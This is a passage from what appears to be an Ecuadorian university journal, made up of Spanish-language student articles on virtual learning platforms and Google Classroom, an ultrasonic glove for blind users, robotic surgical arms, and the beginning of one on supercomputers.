“Así pues, podemos afirmar, que el marco virtual es un medio altamente cualificado para la enseñanza del presente y futuro, no sólo como espacio formativo sino como experimento social de aprendizaje personalizado. Dotando a las plataformas de las destrezas didácticas adecuadas para el desarrollo de los contenidos educativos, podremos contribuir a una educación tecnológica mucho más completa y eficiente”. (Medina Moreno, 2017)

Tipos de plataformas

Plataformas Comerciales

“Son aquellas que para su adquisición hay que realizar un pago para su compra de licencia. No se puede realizar modificación alguna del programa”.

Plataformas de Software libre (o de investigación y colaboración)

“Son aquellas que se pueden adquirir sin costo alguno, de licencia libre y se pueden realizar modificaciones y/o mejoras del programa, la cual debe estar a disposición de cualquier usuario”.

Plataformas de Software propio (o a medida)

“Son aquellas que desarrollan e implementan dentro de la misma Institución Académica”. (Calapiña, 2014)

VENTAJAS

- Fomento de la comunicación docente/alumno.
- Facilidades para el acceso a la información.
- Fomento del debate y la discusión.
- Desarrollo de habilidades y competencias.
- El componente lúdico.
- Fomento de la comunidad educativa.

DESVENTAJAS

- Mayor esfuerzo y dedicación por parte del profesor.
- Necesidad de contar con alumnos motivados y participativos.

- El acceso a los medios informáticos y la brecha informática. (Calapiña, 2014)

Google Classroom es una plataforma gratuita, la cual necesita, de un correo electrónico para acceder a ella, así mismo, consta de documentos y una capacidad adecuada para almacenar información, cabe recalcar, que esta plataforma trabaja con aplicaciones móviles tales como Android y IOS, y además puede descargarse desde Chrome Store. Siendo un LMS con una interfaz gráfica organizada y fácil de manipular.

Google Classroom posee ciertas características las cuales se detallarán continuación: En la plataforma todos los documentos están agrupados en la Nube, pero no ocupan mucho espacio de almacenamiento, mientras que si se suben videos o imágenes hay que estar muy pendiente porque todo ello tiene un límite de almacenamiento, para poder ingresar a esta plataforma existen dos formas virtuales: invitar a los estudiante por medio de correo electrónico o facilitándole el código de acceso que proporciona la misma al crear el curso online. Además, se puede asignar una o varias tareas y delimitar el tiempo de entrega, a su vez se realizan retroalimentaciones compartiendo links, videos o imágenes para una mejor comprensión. Dentro de esta plataforma se pueden crear hasta 30 cursos al día, pero estos cursos online no pueden exceder de 250 participantes.

Esta plataforma se puede utilizar como un repositorio de documentos en ella también se pueden crear clases para deferir información después de una reunión, conferencia o trabajo grupal, además se emplean cuestionarios que comprenden preguntas de opción múltiple para dar inicio a un debate o discusión online.

GRÁFICO # 1

Fuente: Datos de la Investigación

GRÁFICO # 2

Fuente: Datos de la Investigación

GRÁFICO # 3

Fuente: Datos de la Investigación

GRÁFICO # 4

Fuente: Datos de la Investigación

3. RESULTADO Y DISCUSIÓN

Los métodos teóricos lograron sintetizar que es necesario realizar una investigación profunda para conocer cuáles son las anomalías que puede presentarse manipulando las diversas plataformas virtuales y el uso que brinda Google Classroom a los estudiantes y docentes en el

proceso de enseñanza aprendizaje, así mismo los métodos bibliográficos y referenciales, aportaron con definiciones directas de personas conocedoras del tema y así realizar un estudio sobre el mismo.

4. CONCLUSIONES

Se definió que las plataformas virtuales son aplicaciones informáticas que cuenta con una interfaz gráfica amigable al usuario y se accede a ellas a través de la red, considerando que tanto estudiante-docente y viceversa, puede tener una muy buena comunicación a distancia, cabe recalcar que la aplicación de esta nueva tecnología se realizó para que los estudiantes sean capaces de construir conocimientos e involucrarse activamente en el proceso de enseñanza aprendizaje.

REFERENCIAS BIBLIOGRÁFICAS

Calapiña, Y. (06 de Enero de 2014). SlideShare. Obtenido de <https://es.slideshare.net/MarciaYolanda/plataformas-virtuales-29752652>

Canabal Peraza, S. F. (23 de Agosto de 2014). galeon. Obtenido de <http://galeon.com/siomariscanabal/t9.pdf>

Medina Moreno, E. R. (01 de Mayo de 2017). Blog Tecnología Educativa. Obtenido de <http://edilsmedinawed20.blogspot.com/2017/05/que-son-las-plataformas-virtuales-y.html>

BIOGRAFÍA DE AUTORES

Liseth Yamileth Barreto Pin. Estudiante de la Carrera Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí UNESUM.

Graduada con honores en bachiller de Administración en Sistemas en la Unidad Educativa Fiscal “QUINCE DE OCTUBRE”, del cantón Jipijapa-Manabí-Ecuador.

Alexandra Gissela Barreto Toala. Estudiante de la Carrera Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí UNESUM.

Graduada con honores de bachiller en Elaborados y Transformados Cárnicos en la Unidad Educativa Fiscal “QUINCE DE OCTUBRE”, del cantón Jipijapa-Manabí-Ecuador.

Julissa Daniela Cedeño Álava. Estudiante de la Carrera Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí UNESUM.

Graduada con honores de bachiller Contador en la Unidad Educativa Fiscal “Gonzalo Escobar Barcia”, del cantón 24 de Mayo-Manabí-Ecuador.

Mariela Trinidad Morán Acebo. Estudiante de la Carrera Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí UNESUM, actualmente cursa un diplomado de Suficiencia en Ingles en la Universidad de las Fuerzas Armadas ESPE. Graduada con honores de bachiller Único en Ciencias en la Unidad Educativa Particular “República del Ecuador” del cantón Jipijapa-Manabí-Ecuador.

María Vanessa Quimis Sornoza. Estudiante de la Carrera Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí UNESUM.

Graduada con honores de bachiller en Comercio y Administración en la Unidad Educativa Fiscal “8 de Enero” del cantón Jipijapa-Manabí-Ecuador.

PROTOTIPO DE GUANTE ULTRASÓNICO PARA PERSONAS CON DISCAPACIDAD VISUAL

Lcda. Grace Liliana Figueroa Morán, MG. IE.

Elizabeth Nicole Rodríguez Guale

Luis Alberto Pacheco Barzola.

Ing. Julio Paladines Morán, MG. IE.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Luis_diestro101@hotmail.com

RESUMEN

El presente artículo tiene como intención presentar el desarrollo de un prototipo de guante ultrasónico para personas con discapacidad visual, aportando significativamente en la movilización de las personas con discapacidad visual evitando tener contacto con los obstáculos que se encuentren en el camino. Considerando que en los actuales momentos la tecnología asistiva ha avanzado drásticamente permitiendo desarrollar dispositivos que sean capaces de ayudar a las personas con discapacidad visual en su día a día. La metodología utilizada en el proceso de estudio fue de tipo diagnóstica-propositiva, cualitativa y cuantitativa. Las herramientas desarrolladas fueron cuestionarios para las encuestas y entrevistas. Estos prototipos contienen sensores de distancia ultrasónicos que emiten ondas imperceptibles al oído humano que al chocar con algún obstáculo permite detectar el eco reflejado y saber su proximidad, una vez conocida la distancia entre el obstáculo y la persona, un microcontrolador se encarga de evaluar si es necesario emitir alarma para prevenir a la persona sobre la proximidad de algún obstáculo.

PALABRAS CLAVE: prototipo, ultrasónico, discapacidad visual, tecnología asistiva.

ABSTRACT

The present article intends to present the development of a prototype of an ultrasonic glove for people with visual impairment, contributing significantly in the mobilization of people with visual disability avoiding having contact with the obstacles that are in the way. Considering that at present the assistive technology has advanced drastically allowing to develop devices that are able to help people with visual disabilities in their day to day. The methodology used in the study process was diagnostic-propositive, qualitative and quantitative. The tools developed were questionnaires for the surveys and interviews. These prototypes contain ultrasonic distance sensors that emit imperceptible waves to the human ear that, when hitting

an obstacle, can detect the reflected echo and know its proximity, once the distance between the obstacle and the person is known, a microcontroller is responsible for evaluating if it is necessary to issue an alarm to warn the person about the proximity of an obstacle.

KEYWORDS: prototype, ultrasonic, visual disability, assistive technology.

1. INTRODUCCIÓN

En la actualidad, gracias a los avances tecnológicos se ha logrado desarrollar varias herramientas que facilitan la vida de las personas, la tecnología se ha vuelto parte de la vida, y es importante aplicarla especialmente en ayuda de personas que sufren alguna discapacidad, como es el caso de los invidentes, haciendo que ellos mejoren su calidad de vida. Sin embargo, mucha de la tecnología existente hoy en día ofrece poca ayuda a la sociedad invidente, sin contar con los elevados costos de la misma.

Una persona al no poseer el sentido de la vista siente la inseguridad para movilizarse de un lugar a otro sin importar la distancia, por lo que no podrá interactuar con normalidad con su entorno, lo que la hace susceptible de sufrir accidentes como lesiones, fracturas o alguna situación más grave. Dichas personas están obligadas a utilizar herramientas que les ayuden a percatarse de la presencia de objetos en su recorrido, sin embargo, el acceso a dispositivos o herramientas que les permitan una mejor adaptación e inclusión en la cotidianidad es limitado.

En el Ecuador según una investigación del CONADIS hasta el año 2018 dio como resultado que existen 54.284 personas con discapacidad visual en el país, mientras que en la ciudad de Jipijapa existen 274 personas con discapacidad visual, esto demuestra que las limitaciones visuales afectan fuertemente a los ecuatorianos. Para solucionar estos inconvenientes se realizó un análisis de los problemas y dificultades que presentan las personas con discapacidad visual al desplazarse de un lugar a otro, con el fin de determinar los requerimientos necesarios para el desarrollo de un prototipo que integre tecnologías de localización para poder ofrecer mayor independencia y seguridad a personas con discapacidad visual.

El prototipo de guante ultrasónico para personas con discapacidad visual se basa en sensores de distancia que emiten ondas imperceptibles al oído humano que al chocar con algún obstáculo permite a la persona con discapacidad detectar el eco reflejado, y a su vez indica la proximidad o la distancia del objeto. Con la ayuda de un microcontrolador evaluara si es necesario emitir la alerta para prevenir a las personas con discapacidad evadir el obstáculo que se encuentre en su camino.

DESARROLLO

En este estudio se busca explorar la realidad que hay entre las personas no videntes y el problema que tienen a diario con su entorno que los rodea. El Consejo Nacional para la igualdad de discapacidad afirma que hay 458.811 personas con diversos tipos y grado de discapacidades en el Ecuador, el 56,17% son masculino y el 43,83% femeninos.

Según datos registrado por el Consejo Nacional de Discapacidad CONADIS hay 272 personas con discapacidad visual en la ciudad de Jipijapa, las dificultades para identificar los obstáculos para las personas no vidente se torna cada vez más un problema al momento de desplazamiento de un lugar a otro, en la actualidad utiliza un bastón de madera para detectar limitación y superficie sobre lo cual caminan, no les brinda la suficiente ayuda para identificar los peligros.

(Cevallos A. , 2017) Estima que esta cifra aumenta cada año debido a diversos factores como las situaciones económicas de las personas, o la falta de conocimiento acerca de la discapacidad, sus causas, prevención y tratamiento. La discriminación que han sufrido estas personas a lo largo del tiempo es un factor crítico que influye en la vida cotidiana de ellos al no poder realizar sus tareas como una persona vidente. Estos son consecuencia de los obstáculos que entorpecen el acceso de las personas con discapacidad visual.

Para dar solución al problema mediante el estudio se ha encontrado que la realización de un prototipo de guante con sensores ultrasónicos el cual permitirá a la persona con discapacidad visual detectar los objetos a una distancia entre los 80cm, 90cm que se encuentre el obstáculo mediante los sensores ultrasónicos, ya que está inspirado en el sistema de ecolocalización de los murciélagos los cuales son capaces de enviar señales de alta frecuencias que el oído humano no puede captar.

El autor (Prieto Acevedo, 2016), En su trabajo de investigación demostraron un sistema capaz de ayudar a las personas con discapacidad visual al detectar espacios, ellos ven la necesidad de genera un sistema de prevención para resolver el problema de una persona no vidente, que esto permita identificar los objetos que este alrededor de ellos sin ayuda de terceros, conduciendo la idea de desarrollar este dispositivo el Blind tact.

Para (Azaña & Vizueta, 2017), indican que, usando sensores de distancia por ultrasonido, proporcionan al usuario información para detectar un posible obstáculo, además permite conocer la ubicación de la persona. Aclara también que la información que ingresa al dispositivo calculando la distancia y previniendo un posible accidente, todo esto gracias a un sistema de continuidad que lee simultanea mente los datos y los envía al receptor.

De manera que (Cortés, 2017), Expresa que debe haber normas que regulen el acceso de las personas con discapacidad visual a todas las actividades culturales que promuevan el desarrollo integral, el tipo de ceguera, es un factor importante porque los ciegos adquiridos han desarrollado representaciones gráficas diferentes a las de las personas con ceguera congénita, al darse cuenta de que muchos de los participantes podrían hacer cambios en la imagen.

Según (Cadavid, Sánchez, & Muñoz, 2017), expresa que las personas con discapacidad tienen mayor demanda de atención en salud y más necesidades insatisfechas que quienes no presentan discapacidad, esto se puede tornar como una dificultad en el momento, pero cada uno ha logrado anteponerse a este problema, ya que su progreso es favorable en cada progreso laboral de esta sociedad.

Conforme a lo expresado por (Bonilla & Gamboa, 2017), manifiestan que la evolución en los medios de comunicación, en especial Internet, facilitan el traslado de los mensajes a las personas con discapacidad visual. Se plantea determinar la accesibilidad a la información en la inclusión social de las personas con discapacidad visual en la provincia de Tungurahua, a través de la identificación de medios de información y comunicación, con el establecimiento de mecanismos de accesibilidad e inclusión.

Según (Cedeño Montalvan & Ramos, 2016), indican que la principal vivencia en la formación ecuatoriana es la atención a la diversidad y la práctica del enfoque inclusivo, para los discapacitados visuales, pero de manera progresiva se muestra el avance de las personas ciegas y débiles visuales en la carrera de Psicología Clínica, dando un enfoque erudito y de recursos didácticos que ayudan a mejorar el nivel de educación de hoy en día.

2. MATERIALES Y MÉTODOS

Como métodos se utilizó diagnóstica- propositiva, para poder determinar los inconvenientes que tienen que pasar las personas con este tipo de discapacidad y determinar las ventajas que el uso del guante ultrasónico les brindara.

También se utilizó la metodología cualitativa- cuantitativa, ya que se pudo realizar un sondeo mediante entrevistas en el campo de estudio dirigida a la población involucrada para la utilización de un guante con sensores ultrasónicos como guía para las personas con discapacidad visual el mismo que servirá de apoyo para las personas antes mencionadas. Por lo consiguiente, para la obtención de los datos relevantes del estudio se utilizó la población de 157 estudiantes de la carrera teniendo como muestra de 111 estudiantes, población asumida en el trabajo de investigación.

Se utilizó el método bibliográfico, este método permitió acceder a la información necesaria para fundamentar el trabajo realizado con la ayuda de diferentes medios, tales como: libros, revistas científicas e internet.

De los métodos estadísticos matemáticos se requirió la Estadística Diferencial en esta investigación, la cual nos permitió representar mediante gráficos los resultados obtenidos en la encuesta del presente artículo investigativo como se muestra a continuación:

Tabla 1: Guante con sensores ultrasónicos

Descripción	Frecuencia	Porcentaje %
Si	90	81%
No	21	19%
Total	111	100%

3. RESULTADOS Y DISCUSION

Encuesta dirigida a los estudiantes de la Carrera de Ingeniería en Computación y Redes.

- 1) **¿Considera usted que se pueda utilizar un guante con sensores ultrasónicos como guía para las personas con discapacidad visual?**

Tabla 1: Guante con sensores ultrasónicos

Descripción	Frecuencia	Porcentaje %
Si	90	81%
No	21	19%
Total	111	100%

Fuente: Estudiantes de la “Carrera de Ingeniería en Computación y Redes”

Elaborado por: Grace Figueroa, Luis Pacheco, Nicole Rodriguez.

Gráfico 1: Guante con sensores ultrasónicos como guía para las personas con discapacidad visual

Fuente: Estudiantes de la “Carrera de Ingeniería en Computación y Red

Elaborado por: Grace Figueroa, Luis Pacheco, Nicole Rodriguez.

Análisis e interpretación

El 81% de los encuestados si considera factible la utilización de un guante con sensores ultrasónicos como guía para las personas con discapacidad visual, mientras que el 19% no está de acuerdo. Esto demuestra que la utilización de un guante con sensores ultrasónicos ayudará en la movilización de las personas con discapacidad visual.

4. CONCLUSIONES

- Debido a que hoy en día muchas personas tienen limitada visión, se desarrolló este tipo de guante el cual facilitara la forma de vida de las personas con discapacidad visual, pues los beneficios que otorga la utilización de un guante ultrasónico son muy favorables.
- Mediante el uso de este tipo de guante ultrasónico las personas con discapacidad visual podrán sustituir su bastón, por este guante ya que será capaz de percibir los obstáculos a una distancia de 80cm, el cual emitirá un sonido y a la vez vibrará cuando este detecte un obstáculo, poniendo en alerta al usuario.
- El uso del guante ultrasónico permite que una persona invidente mantenga una autoestima alto porque se vuelve hasta cierto punto independiente gracias a la ayuda que este dispositivo brinda al momento de movilizarse de un lugar a otro.

5. RECOMENDACIONES

- Utilizar elementos electrónicos de última generación que permitan desarrollar dispositivos que sean capaces de contribuir a la sociedad, sobre todo para ayudar a personas con capacidades especiales.
- Se espera que mediante los hallazgos de esta investigación en relación a el desarrollo y beneficios que aporta el guante ultrasónico a personas con discapacidad visual, favorezcan la sensibilidad institucional a nivel nacional, de manera que se generen proyectos de inversión alrededor de esta solución como estrategia de inclusión de personas con este tipo de discapacidad.
- Mejorar el prototipo de guante con sensores ultrasónicos con componentes electrónicos que tengan mayor alcance de proximidad el cual permite que las personas con discapacidad visual puedan prevenir los obstáculos con mayor facilidad.

REFERENCIAS BIBLIOGRÁFICAS

- Azaña, C. R., & Vizueta, J. C. (2017). *Diseño y construcción de un prototipo de guante con orientación y localización para ayuda en la movilidad de personas invidentes*. Quito: Politécnica Nacional.
- Bonilla, S., & Gamboa. (2017). *Evolución en los medios de comunicación*. Tesis, Tungurahua.
- Cadavid, M., Sánchez, C., & Muñoz, A. (2017). Barrera y necesidades de información sobre medicamentos en pacientes con discapacidad visual. *UPV*, 4.
- Cedeño Montalvan, Á., & Ramos, V. (2016). *Enfoque inclusivo en la formación ecuatoriana*. Psicología Clínica. Guayaquil: Universidad Catolica Santiago de Guayaquil.
- Cevallos, A. (2017). *Discriminación que sufren personas con discapacidades*. Departamento de Ciencias de la Salud. Guayaquil: Universidad de Guayaquil.
- Cortés, J. E. (2017). La construcción del derecho a la cultura, la apreaciación para las personas con discapacidades. *RIDE*, 8.
- Kumar, Y., Suhasini, Venkatesh, Reddy, P., & Ramanarayanan. (2015). Instrumentación basada en ultrasonidos para medir el nivel higroscópico del sal fundida a altas temperaturas. *IEEE*, 3.
- Macias, R. P. (s.f.). *Maestria en educacion especial con mencion de educacion de las personas con discapacidad visual*. Guayaquil: unidad de posgrados sede guyaquil.

Prieto Acevedo, D. F. (2016). *Sistema de detección de objetos para las personas con discapacidad visual*. Bachelor's Thesis: Bogota.

ANEXOS

BIOGRAFÍAS DE AUTOR

Lcda. Grace Liliana Figueroa Morán, MG. IE. Magister en Informática Empresarial, Lcda. En Ciencia de la Educación especialidad Informática

Docente de la Universidad Estatal del Sur de Manabí

Elizabeth Nicole Rodríguez Guale Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa- Manabí-Ecuador; graduado de Bachiller Químico - Biólogo en la Unidad Educativa Eduardo Granja Garcés, del Cantón Pedro Carbo - Guayas- Ecuador

Luis Alberto Pacheco Barzola. Estudiante de la Carrera de Ingeniería en Computación y Redes.

Ing. Julio Paladines Morán, MG. IE. Magister en Informática Empresarial, Ingeniero en Sistema Docente de la Universidad Estatal del Sur de Manabí

BRAZOS ROBÓTICOS, CREADOS PARA CIRUGÍAS CON PRECISIÓN

Leonela Estefanía Choez Lino

Lcda. Kirenia Maldonado Zuñiga. Mg.

Dr. Pedro Valdez Tamayo Doctor. PHD.

Ing. Cristian José Alava Mero. Mg.

Ing. Verónica Jazmin Pionce Amdrade. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

leonelalinooso@gmail.com Teléfono

0983461113

Resumen

El objetivo de este artículo es mostrar uno de los grandes avances de la tecnología, como son los brazos creados para las cirugías, este avance fue llevado a cabo para disminuir las negligencias en las operaciones y reducir las muertes, permite agilizar y ser precisos al momento de realizar operaciones de alto y mediano riesgo, aparte de eso ayuda a una cicatrización temprana de la herida causada por la operación. Este avance fue sometido a varias pruebas, una serie de investigaciones para así poder asegurar la calidad y la veracidad de dicha evolución. En las cuales se han obtenido resultados significativos como: Poca pérdida de sangre, Menos transfusiones, cicatrices más pequeñas, regreso pronto a las actividades cotidianas, corta estancia hospitalaria, menor riesgo de complicaciones que recalcan sus beneficios. En la investigación se utilizaron métodos como, histórico-lógico, análisis-síntesis, inducción-deducción y revisión bibliográfica. Como resultado, los cirujanos han reportado gran experiencia clínica. La cirugía telerobótica laparoscópica abdominal es factible y sus resultados iniciales son similares a los de la cirugía laparoscópica tradicional. Se concluye que la cirugía robótica ofrece un adecuado tratamiento y resultados muy satisfactorios a los pacientes. Garantiza un riesgo de intervención mucho menor y una óptima recuperación en el menor tiempo posible. Tiene un gran impacto en especialidades médicas, pues su intervención es mínima y alcanza lugares pequeños a los que no podría llegar el brazo humano.

PALABRAS CLAVE: ergonómica;
endoscopia; laparoscópica.

Summary

The aim of this article is to show some of the great advances in technology, such as the arms created for surgeries, this advance was carried out to reduce negligence in operations and reduce deaths, allows to streamline and be precise at the time of performing high and medium risk operations, apart from that it helps an early healing of the wound caused by the operation. This advance was subjected to several tests, a series of investigations in order to ensure the quality and the veracity of this evolution. In which significant results have been obtained such as: Little blood loss, Fewer transfusions, smaller scars, early return to daily activities, short hospital stay, lower risk of complications that emphasize its benefits. The research used methods such as, historical-logical, analysis-synthesis, induction-deduction and bibliographic review. As a result, surgeons have reported great clinical experience. Laparoscopic abdominal telerobotic surgery is feasible and its initial results are similar to those of traditional laparoscopic surgery. It is concluded that robotic surgery offers an adequate treatment and very satisfactory results to patients. It guarantees a much lower risk of intervention and optimal recovery in the shortest possible time. It has a great impact on medical specialties, because its intervention is minimal and reaches small places that could not reach the human arm.

Keywords: ergonomic; endoscope; aparoscopic.

Introducción

La Cirugía Robótica también conocida como cirugía laparoscópica asistida por robot, es una técnica en la cual un cirujano lleva a cabo la cirugía usando una consola que controla de manera remota instrumentos muy pequeños fijados a un robot. Es un método para llevar a cabo una cirugía mediante el uso de pequeñas herramientas que van pegadas a un brazo robótico. El cirujano controla el brazo robótico con una computadora.

En la cirugía robótica laparoscópica, reemplazan al camarógrafo y proveen una plataforma estable al telescopio de video que es controlado mediante comandos de voz por el cirujano. Durante las operaciones laparoscópicas telerobóticas, el cirujano se ubica sentado frente a una consola de computadora que se encuentra distante al paciente. El cirujano observa un campo operatorio virtual en tres dimensiones y realiza la operación controlando dos brazos telerobóticos, los cuales sostienen los instrumentos quirúrgicos. Estos instrumentos simulan los

movimientos de las manos del cirujano, presentando seis grados de libertad y dos de rotación axial. La combinación de imágenes tridimensionales y movimientos semejantes a los manuales de los instrumentos quirúrgicos facilita la realización de procedimientos laparoscópicos complejos.

Este procedimiento se hace bajo anestesia general (usted está dormido y sin dolor). El cirujano se sienta en una estación al lado del paciente (consola del cirujano) y dirige los movimientos del robot. Otra parte del sistema consiste en una mesa (consola del paciente) con una torre y brazos robóticos a los cuales se fijan los instrumentos quirúrgicos.

Primero el cirujano introduce los instrumentos en el cuerpo del paciente a través de pequeñas incisiones. Siempre bajo la dirección del cirujano, el robot replica los movimientos de la mano del médico para llevar a cabo el procedimiento.

Un tubo delgado con una cámara adherida a su extremo (endoscopio) le permite al cirujano visualizar imágenes tridimensionales y en formato HD del interior del cuerpo, altamente ampliadas en un monitor y en tiempo real.

La cirugía robótica otorga muchos beneficios, como lo son, recuperación más rápida, menos dolor, menor riesgo de infección, poca pérdida de sangre lo que evita las transfusiones, cicatrices más pequeñas, regreso pronto a las actividades cotidianas, corta estancia hospitalaria, menor riesgo de complicaciones.

Ventajas de la cirugía robótica

En lo que respecta a la cirugía:

- Precisión, ya que elimina cualquier temblor del cirujano.
- Destreza, el cirujano con la ayuda de la tecnología puede desenvolverse mejor y más cómodo durante el procedimiento.
- Control, el cirujano tiene más control sobre la cirugía.
- Mejor visualización, al ser ésta en tercera dimensión y en formato HD.
- Mayor alcance de movimientos, los brazos del robot pueden rotar hasta 360°.
- Mejor acceso a las cavidades, los instrumentos del robot al ser tan diminutos, pueden llegar a áreas del cuerpo más lejanas y de difícil acceso. (róbótica, 12)

El inventor estadounidense George Devol desarrolló en 1954 un brazo primitivo que se podía programar para realizar tareas específicas. En 1975, el ingeniero mecánico estadounidense Victor Scheinman, cuando estudiaba la carrera en la Universidad de Stanford, en California, desarrolló un manipulador polivalente realmente flexible conocido como Brazo Manipulador Universal Programable (PUMA, siglas en inglés). El control por realimentación, el desarrollo de herramientas especializadas y la división del trabajo en tareas más pequeñas que pudieran realizar obreros o máquinas fueron ingredientes esenciales en la automatización de las fábricas en el siglo XVIII. A medida que mejoraba la tecnología se desarrollaron máquinas especializadas para tareas como poner tapones a las botellas o verter caucho líquido en moldes para neumáticos. Sin embargo, ninguna de estas máquinas tenía la versatilidad del brazo humano, y no podía alcanzar objetos alejados y colocarlos en la posición deseada.

Materiales y métodos

Histórico-lógico: se utilizó para el desarrollo de investigación con los historiales sobre la brazos robóticos.

Análisis-síntesis: se utilizó para el análisis de la utilización de brazos robóticos en la actualidad.

Inducción-deducción: el presente método se utilizó para el estudio de los principales aspectos de la investigación sobre brazos robóticos.

Bibliográfico-documental: se utilizó en la etapa de recopilación de información del tema a través de libros, sitios de carácter científico, entre otros.

Resultados y discusión

Como resultado, cirujanos han reportado gran experiencia clínica. La cirugía telerobótica laparoscópica abdominal es factible y sus resultados iniciales son similares a los de la cirugía laparoscópica tradicional. Los sistemas quirúrgicos robóticos y telerobóticos superan algunas de las limitaciones inherentes de la cirugía laparoscópica tradicional y podrían incrementar el número de cirujanos que realicen operaciones complejas de laparoscopia en el futuro.

Conclusiones

Se concluye que la tecnología ha avanzado de manera rápida y se puede observar los avances tecnológicos. Un gran ejemplo de aquello son los brazos robóticos que ayudan a la precisión de las cirugías. La cirugía robótica ofrece un adecuado tratamiento y resultados muy satisfactorios a los pacientes. Garantiza un riesgo de intervención mucho menor y una óptima recuperación en el menor tiempo posible. Tiene un gran impacto en especialidades médicas, pues su intervención es mínima y alcanza lugares pequeños a los que no podría llegar el brazo humano.

Referencias bibliográficas

- BARRIENTOS, Antonio, FUNDAMENTOS DE ROBOTICA / 2 ED. Editorial: McGraw Hill, ISBN: 9788448156367 7
- BALCELS, Josep, Autómatas programables, Editorial Alfaomega, España 1998
- Galeano D. Robótica Médica. Universidad católica Nuestra señora de Asunción [Internet]. 2012 [citado 20 oct 2016]
- Lucena Olavarrieta JR, Coronel P, Orellana Pérez s. Historia, evolución, estado actual y futuro de la cirugía robótica. Rev Fac Med. 2007
- LARA, Pedro J., MINIROBÓTICA, UNA HERRAMIENTA EN LA FORMACIÓN DEL INGENIERO, UNAM, México, 2011. Generales — BALCELS, Josep, Autómatas programables, Pág. 11

BIOGRAFIA DE AUTORES

Leonela Estefanía Choez Lino, estudio en la Universidad Estatal del Sur de Manabí, Bachiller en Mecanizado y construcciones metálicas en la Unidad Educativa Fiscal “Manuel inocencio Parrales y Guale” Jipijapa-Manabí-Ecuador.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Pedro Valdez Tamayo Doctor en Ciencias Pedagógicas, Licenciado en Matemática, Universidad de Oriente.

Cristian José Alava Mero, Máster en Informática Empresarial, Universidad Autónoma de los Andes, Ingeniero en Sistemas Informáticos, Universidad Técnica de Manabí.

Verónica Jazmin Pionce Amdrade, Máster en Gestión Ambiental, Universidad Técnica de Quevedo, Ingeniera en Medio ambiente, Universidad Estatal del Sur de Manabí.

LAS SUPERCOMPUTADORAS Y SU IMPACTO EN EL MEDIO SOCIAL

John Denys Reina Paredes

Dayana Lilibeth Pérez Chilán

Camila Yanlisbeth Pin Menéndez.

Gema Julissa Pinargote Vines

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

reinajohn892@gmail.com

RESUMEN

El presente trabajo de investigación hace referencia al concepto, definición de las grandes supercomputadoras y su influencia con el medio que nos rodea, siendo estos equipos informáticos, capaces de procesar abundante cantidad de información en poco tiempo, además, son extremadamente potentes para realizar diversas tareas de cálculo a una velocidad sorprendente lo cual equivale a billones de operaciones por segundo. El objetivo primordial de esta investigación científica es proporcionar información acerca de la evolución de las supercomputadoras y el impacto que ha tenido a lo largo del tiempo, cabe recalcar que se las utiliza para afrontar inconvenientes muy complejos que llegan a ser peligrosos para quienes las manipulan, el uso para el que están predestinadas es grandioso, entre ellos tenemos: estudios del espacio y el universo, investigaciones militares, simuladores de vuelo, estudio y predicción de tornados, estudio y predicción del clima de cualquier parte del mundo, análisis y estudio de datos en ámbitos académicos y privados. En lo referente al desarrollo, se abordaron los diferentes métodos de la investigación científica tales como: análisis – síntesis que contribuyeron a profundizar esta investigación. Por consiguiente, se analizará a las supercomputadoras desde lo general a lo específico tomando en consideración criterios reales sobre la implementación de ellas en las distintas empresas y países. Según el análisis de los resultados este artículo ha sido de gran interés para los docentes que conforman el área de Informática en la Universidad Estatal del Sur de Manabí. Definiendo así, que el 98,8 % de las supercomputadoras utilizan el sistema operativo Linux, el cual provee de un sinnúmero de beneficios al realizar una o varias tareas.

PALABRAS CLAVE: Big Data; simuladores, predicción

ABSTRACT

This research work refers to the concept, definition of large supercomputers and their influence with the environment that surrounds us, being these computers, capable of processing abundant information in a short time, also, are extremely powerful to perform various tasks of calculation at an amazing speed which is equivalent to billions of operations per second. The main objective of this scientific research is to provide information about the evolution of supercomputers and the impact that has had over time, it should be noted that they are used to deal with very complex problems that become dangerous for those who manipulate them, the use for which they are predestined is great, among them we have: studies of space and the universe, military investigations, flight simulators, study and prediction of tornadoes, study and prediction of the climate of any part of the world, analysis and study of data in academic and private settings. In terms of development, the different methods of scientific research were addressed, such as: analysis - synthesis that contributed to deepen this research. Therefore, the supercomputers will be analyzed from the general to the specific taking into consideration real criteria on the implementation of them in different companies and countries. According to the analysis of the results, this article has been of great interest to the teachers who make up the area of Information Technology at the State University of the South of Manabí. Defining thus, that 98.8% of the supercomputers use the Linux operating system, which provides a number of benefits when performing one or more tasks.

KEYWORDS: Big Data; simulators; prediction

1. INTRODUCCIÓN

Las supercomputadoras son equipos informáticos, que se emplean para procesar abundante cantidad de información en poco tiempo, además, son enormemente poderosos para efectuar incomparables tareas de automatización a una vivacidad extraordinaria, lo cual equivale a billones de procedimientos por segundo. Constan de un sinnúmero de procesadores, los cuales trabajan de forma organizada y en conjunto para procesar datos masivos o más conocido como Big Data. Teniendo como objetivo primordial dar a conocer todas y cada una de las características, por las que se emplean o se tienden a comprar estos equipos informáticos, así mismo informar sobre sus principales ventajas y desventajas en el mundo que nos rodea. En la actualidad Sunway TaihuLight es la supercomputadora más grandiosa y potente jamás vista, la misma que se encuentra ubicada en el país Asiático China se considera una monstruosidad en cuanto a capacidad y operación con aproximadamente 93 petaflops, la misma que consta de más de diez millones de procesadores y con casi el triple de beneficio que su rival, TaihuLight

una de los superordenadores también de china que lideraba el ranking desde hace más de dos años, con 6051 de megaflops por vatio.

